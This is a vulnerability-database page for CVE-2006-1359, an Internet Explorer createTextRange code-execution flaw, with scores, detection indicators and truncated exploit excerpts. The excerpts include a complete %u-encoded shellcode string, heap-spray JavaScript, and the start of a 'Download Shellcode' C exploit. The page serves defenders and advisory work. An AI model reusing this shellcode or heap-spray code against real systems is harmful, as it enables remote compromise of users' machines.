CVE-2006-1359
published 2006-03-23CVE-2006-1359: Microsoft Internet Explorer 6 and 7 Beta 2 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a certain…
PriorityP266critical9.3CVSS 2.0
AVNACMAuNCCICAC
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
68.34%
99.3th percentile
Microsoft Internet Explorer 6 and 7 Beta 2 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a certain createTextRange call on a checkbox object, which results in a dereference of an invalid table pointer.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | ie | — | — |
| microsoft | ie | — | — |
| microsoft | internet_explorer | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55
- →The exploit triggers via a createTextRange() call on a checkbox, radio, or image input element — look for JavaScript creating an input element of type checkbox/radio/image followed by a createTextRange() invocation in browser traffic. ↗
- →Exploit uses heap spray: large arrays of NOP sleds (%u9090%u9090) followed by shellcode are allocated via JavaScript unescape() loops. Monitor for repeated unescape() calls building multi-megabyte heap blocks (heapBlockSize = 0x400000). ↗
- →Metasploit module randomizes JavaScript variable names (prefixed with '_') and may randomize whitespace; detection should focus on the createTextRange() call pattern on form input elements rather than static variable names. ↗
- →The exploit HTML page may use gzip Content-Encoding and/or chunked Transfer-Encoding to evade content inspection — ensure IDS/proxy decodes both before scanning. ↗
- →Return address 0x746F9468 targets IE6 (6.0.3790.0) on Windows XP SP2; 0x3C0474C2 / 0x3c0974c2 targets IE7 Beta (7.0.5229.0) on Windows XP SP2. Presence of these DWORD values in network payloads is a strong indicator. ↗
- →Exploit delivery uses a setTimeout or setInterval call (interval of 5 ms) to trigger the heap fill function — this pattern in conjunction with unescape() heap spray is characteristic of this exploit. ↗
- ·The Metasploit module has only been reliably tested against Windows XP SP2; reliability on other platforms is not confirmed. ↗
- ·JavaScript variable names used in the exploit HTML are randomized per request, making static string-based signatures unreliable without behavioral analysis. ↗
- ·The return address differs between the two known exploit variants for IE7 (0x3C0474C2 vs 0x3c0974c2), suggesting multiple independent exploit implementations with slightly different offsets. ↗
CVSS provenance
nvdv2.09.3CRITICALAV:N/AC:M/Au:N/C:C/I:C/A:C
vulncheck9.3CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-43v5-w42f-65jx: Microsoft Internet Explorer 6 and 7 Beta 2 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a certain crea
ghsa_unreviewed·2022-05-01
CVE-2006-1359 [HIGH] CWE-94 GHSA-43v5-w42f-65jx: Microsoft Internet Explorer 6 and 7 Beta 2 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a certain crea
Microsoft Internet Explorer 6 and 7 Beta 2 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a certain createTextRange call on a checkbox object, which results in a dereference of an invalid table pointer.
VulnCheck
Microsoft Internet Explorer Improper Control of Generation of Code ('Code Injection')
vulncheck·2006·CVSS 9.3
CVE-2006-1359 [CRITICAL] Microsoft Internet Explorer Improper Control of Generation of Code ('Code Injection')
Microsoft Internet Explorer Improper Control of Generation of Code ('Code Injection')
Microsoft Internet Explorer 6 and 7 Beta 2 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a certain createTextRange call on a checkbox object, which results in a dereference of an invalid table pointer.
Affected: Microsoft Internet Explorer
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://learn.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-013
No detection rules found.
Exploit-DB
Microsoft Internet Explorer - 'createTextRange()' Code Execution (MS06-013) (Metasploit)
exploitdb·2010-09-20
CVE-2006-1359 Microsoft Internet Explorer - 'createTextRange()' Code Execution (MS06-013) (Metasploit)
Microsoft Internet Explorer - 'createTextRange()' Code Execution (MS06-013) (Metasploit)
---
##
# $Id: ms06_013_createtextrange.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Internet Explorer createTextRange() Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in Microsoft Internet Explorer.
Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP w
Exploit-DB
Microsoft Internet Explorer - HTML Tag Memory Corruption (MS06-013)
exploitdb·2006-05-27
CVE-2006-1388 Microsoft Internet Explorer - HTML Tag Memory Corruption (MS06-013)
Microsoft Internet Explorer - HTML Tag Memory Corruption (MS06-013)
---
# milw0rm.com [2006-05-27]
Exploit-DB
Microsoft Internet Explorer - 'createTextRang' Remote (Metasploit)
exploitdb·2006-04-01
CVE-2006-1359 Microsoft Internet Explorer - 'createTextRang' Remote (Metasploit)
Microsoft Internet Explorer - 'createTextRang' Remote (Metasploit)
---
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::ie_createtextrange;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};
my $info =
{
'Name' => 'Internet Explorer createTextRange() Code Execution',
'Version' => '$Revision: 1.4 $
Exploit-DB
Microsoft Internet Explorer - 'createTextRang' Download Shellcode (2)
exploitdb·2006-03-31
CVE-2006-1359 Microsoft Internet Explorer - 'createTextRang' Download Shellcode (2)
Microsoft Internet Explorer - 'createTextRang' Download Shellcode (2)
---
/*
*
* Internet Explorer "createTextRang" Download Shellcoded Exploit (2)
* Bug discovered by Computer Terrorism (UK)
* http://www.computerterrorism.com/research/ct22-03-2006
*
* Affected Software: Microsoft Internet Explorer 6.x & 7 Beta 2
* Severity: Critical
* Impact: Remote System Access
* Solution Status: Unpatched
*
* E-Mail: [email protected]
* Web: http://www.spyinstructors.com,http://www.atmacasoft.com
* Credit to Kozan,SkyLined,delikon,Darkeagle,Stelian Ene
*
*/
/*
*
* This one is more faster than all released createTextRange exploits
* because it uses last version of SkyLined's heap spraying code,
* special 10x goes to him.
*
*/
#include
#include
#define BUF_LEN 0x800
#define FILE_NAME "index.htm"
c
Exploit-DB
Microsoft Internet Explorer - 'createTextRang' Remote Code Execution
exploitdb·2006-03-23
CVE-2006-1359 Microsoft Internet Explorer - 'createTextRang' Remote Code Execution
Microsoft Internet Explorer - 'createTextRang' Remote Code Execution
---
shellcode = unescape( "%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");
bigblock = unescape("%u9090%u9090");
slackspace = 20 + shellcode.length
while (bigblock.length
# mi
Metasploit
MS06-013 Microsoft Internet Explorer createTextRange() Code Execution
metasploit
MS06-013 Microsoft Internet Explorer createTextRange() Code Execution
MS06-013 Microsoft Internet Explorer createTextRange() Code Execution
This module exploits a code execution vulnerability in Microsoft Internet Explorer. Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point to a very remote, non-existent memory location. This module is the result of merging three different exploit submissions and has only been reliably tested against Windows XP SP2. This vulnerability was independently discovered by multiple parties. The heap spray method used by this exploit was pioneered by Skylined.
No writeups or analysis indexed.
http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1427.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2006-03/1430.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2006-03/1434.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2006-03/1662.htmlhttp://secunia.com/advisories/18680http://secunia.com/secunia_research/2006-7/advisory/http://securitytracker.com/id?1015812http://www.ciac.org/ciac/bulletins/q-154.shtmlhttp://www.computerterrorism.com/research/ct22-03-2006http://www.kb.cert.org/vuls/id/876678http://www.microsoft.com/technet/security/advisory/917077.mspxhttp://www.osvdb.org/24050http://www.securityfocus.com/archive/1/428441http://www.securityfocus.com/archive/1/428583/100/0/threadedhttp://www.securityfocus.com/archive/1/428600/100/0/threadedhttp://www.securityfocus.com/archive/1/429088/100/0/threadedhttp://www.securityfocus.com/archive/1/429124/30/6120/threadedhttp://www.securityfocus.com/bid/17196http://www.us-cert.gov/cas/techalerts/TA06-101A.htmlhttp://www.vupen.com/english/advisories/2006/1050http://www.vupen.com/english/advisories/2006/1318https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-013https://exchange.xforce.ibmcloud.com/vulnerabilities/25379https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1178https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1657https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1678https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1702https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A985http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1427.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2006-03/1430.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2006-03/1434.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2006-03/1662.htmlhttp://secunia.com/advisories/18680http://secunia.com/secunia_research/2006-7/advisory/http://securitytracker.com/id?1015812http://www.ciac.org/ciac/bulletins/q-154.shtmlhttp://www.computerterrorism.com/research/ct22-03-2006http://www.kb.cert.org/vuls/id/876678http://www.microsoft.com/technet/security/advisory/917077.mspxhttp://www.osvdb.org/24050http://www.securityfocus.com/archive/1/428441http://www.securityfocus.com/archive/1/428583/100/0/threadedhttp://www.securityfocus.com/archive/1/428600/100/0/threadedhttp://www.securityfocus.com/archive/1/429088/100/0/threadedhttp://www.securityfocus.com/archive/1/429124/30/6120/threadedhttp://www.securityfocus.com/bid/17196http://www.us-cert.gov/cas/techalerts/TA06-101A.htmlhttp://www.vupen.com/english/advisories/2006/1050http://www.vupen.com/english/advisories/2006/1318https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-013https://exchange.xforce.ibmcloud.com/vulnerabilities/25379https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1178https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1657https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1678https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1702https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A985
2006-03-23
Published
Exploited in the wild